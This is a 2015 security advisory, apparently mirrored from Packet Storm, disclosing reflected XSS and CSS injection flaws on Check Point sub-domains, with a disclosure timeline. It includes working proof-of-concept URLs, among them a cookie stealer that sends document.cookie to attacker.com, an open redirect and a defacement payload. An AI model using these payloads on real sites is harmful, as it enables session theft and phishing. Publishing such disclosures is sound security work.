Lucene search
K

Checkpoint Cross Site Scripting

🗓️ 11 Nov 2015 00:00:00Reported by Yann CAMType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Check Point Software: Network and Data Securit

Code
`######################################################################  
# Exploit Title: Checkpoint.com sub-domains Reflected XSS (RXSS)  
# Date: 12/11/2015  
# Author: Yann CAM @ Synetis - ASafety  
# Vendor or Software Link: www.checkpoint.com  
# Version: /  
# Category: Reflected Cross Site Scripting  
# Google dork:  
# Tested on: checkpoint.com sub-domains  
######################################################################  
  
Checkpoint description :  
======================================================================  
  
Check Point Software Technologies Ltd. is an international leader / provider of software and combined hardware and software products for IT security,   
including network security, endpoint security, data security and security management.  
Check Point offers the following primary products: Network Security, Software Defined Protection, Public and private cloud security, data security,   
threatcloud, endpoint security, mobile security, security management, etc.  
  
  
Vulnerability description :  
======================================================================  
Many Cross-Site Scripting vulnerabilities are identified in CheckPoint sub-domains.  
- A R-XSS is available in the careers.checkpoint.com.  
- A CSS injection is available in the supportcenter.checkpoint.com.  
- A R-XSS limited is available in the threatwiki.checkpoint.com.  
  
Through these vulnerabilities, an attacker could tamper with page rendering, redirect victims to fake CheckPoint portals, or capture CheckPoint's users credentials such cookies.   
These injections are not properly sanitized before being used in pages.  
  
  
Proof of Concept 1 - careers.checkpoint.com - RXSS :  
======================================================================  
  
A non-persistent XSS (RXSS) in "country_code" GET param is available in the careers.checkpoint.com sub-domain.  
Tested on Firefox 41.  
  
PoC:  
  
https://careers.checkpoint.com/careers/index.php?m=joborders&a=show&jobOrderID=1337&country_code=US"><script>alert(/RXSS - Yann CAM | Security Consultant @ASafety - www.synetis.com/);</script><a href="  
  
  
Proof of Concept 2 - supportcenter.checkpoint.com - CSS injection :  
======================================================================  
  
A CSS injection in "tab" GET param is available in the supportcenter.checkpoint.com sub-domain.  
Tested on Firefox 41, Chrome 43, IE 11.  
  
PoC:  
  
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doSwichtab=&js_peid=P-114a7ba5fd7-10001&tab=Documentation%20style=background:url(https://www.asafety.fr/images/logo.png)  
  
The injection is used to define arbitrary attributes on an input tag type "hidden":   
<input type="hidden" id="currentTab" value="[INJECTION]" />   
  
It is possible to define the "style" attribute to load the CSS on the fly and possibly make XSS based browsers and their versions   
(-moz-binding, expression(), background-image: url(javascript:) ) ...  
  
  
Proof of Concept 3 - threatwiki.checkpoint.com - RXSS (limited) :  
======================================================================  
  
A limited R-XSS is available in the threatwiki.checkpoint.com sub-domain. Tested on Firefox 41.  
Injection is located in the first string argument of a JavaScript function.  
"<", ">", "(", ")" and "," are filtered, so it seems not possible to escape the function call.  
  
The main injection vector is :  
  
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=1337[INJECTION_HERE]  
  
Injection is interpreted in JavaScript in this function call :  
  
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=1337[INJECTION_HERE]&filter=0&parentPage=public", "main", 12500000);  
  
With filtered chars listed before, it's not possible to :  
- Comment the function without generate JavaScript error  
- Escape from the function call  
- Rewrite second or third function call attributes  
  
The main idea to exploit this injection is to use conditional ternary form concatenated with the first function call argument, like this (RXSS PoC for OpenRedirect vulnerability) :  
  
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B 1==2 ? 0 : location="http://asafety.fr/" %2B "  
  
Function call generated :  
  
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://asafety.fr/" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);  
  
Another example to exploit this injection - cookie stealer :  
  
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : location="http://www.attacker.com/cook.php?x="%2Bdocument.cookie%2B"UNUSED_AFTER_THIS%23  
  
Function call generated :  
  
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://www.attacker.com/cook.php?x="+document.cookie + "UNUSED_AFTER_THIS&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);  
  
Regenerate the DOM (fake defacement) :  
  
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------"%2B"  
  
Function call generated :  
  
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);  
  
  
So even if JavaScript injection is possible in the first function call argument (to perform an OpenRedirect or steal cookie), the RXSS is limited. It's not possible to load an arbitrary JS file or create an alert().  
  
  
Screenshots :  
======================================================================  
  
- http://www.asafety.fr/data/20150209-Checkpoint_careers_RXSS_002.png  
- http://www.asafety.fr/data/20150209-Checkpoint_supportcenter_CSSinjection_001.png  
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_001-loading.png  
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_002-loaded.png  
- http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_003.png  
  
  
Solution:  
======================================================================  
  
Fix by CheckPoint Security team.  
  
  
Additional resources :  
======================================================================  
  
- http://www.checkpoint.com/  
- https://www.asafety.fr/vuln-exploit-poc/checkpoint-rxss-et-injection-en-parametre-de-fonction-js/  
- http://www.asafety.fr/  
- http://www.synetis.com  
  
  
Report timeline :  
======================================================================  
  
2015-02-11 : CheckPoint Technical Team alerted with details and PoC.  
2015-03-31 : Vulnerabilities aren't fixed yet. 2nd email to get a status.  
2015-09-20 : RXSS vulnerability seems to be fixed.  
2015-09-20 : CSS injection vulnerability seems to be fixed.  
2015-11-09 : No feedback from CheckPoint.  
2015-11-10 : Public advisory and article  
  
  
Credits :  
======================================================================  
  
88888888  
88 888 88 88  
888 88 88  
788 Z88 88 88.888888 8888888 888888 88 8888888.  
888888. 88 88 888 Z88 88 88 88 88 88 88  
8888888 88 88 88 88 88 88 88 88 888  
888 88 88 88 88 88888888888 88 88 888888  
88 88 88 8. 88 88 88 88 88 888  
888 ,88 8I88 88 88 88 88 88 88 .88 .88  
?8888888888. 888 88 88 88888888 8888 88 =88888888  
888. 88  
88 www.synetis.com  
8888 Consulting firm in management and information security  
  
Yann CAM - Security Consultant @ Synetis | ASafety  
  
--  
SYNETIS | ASafety  
CONTACT: www.synetis.com | www.asafety.fr  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation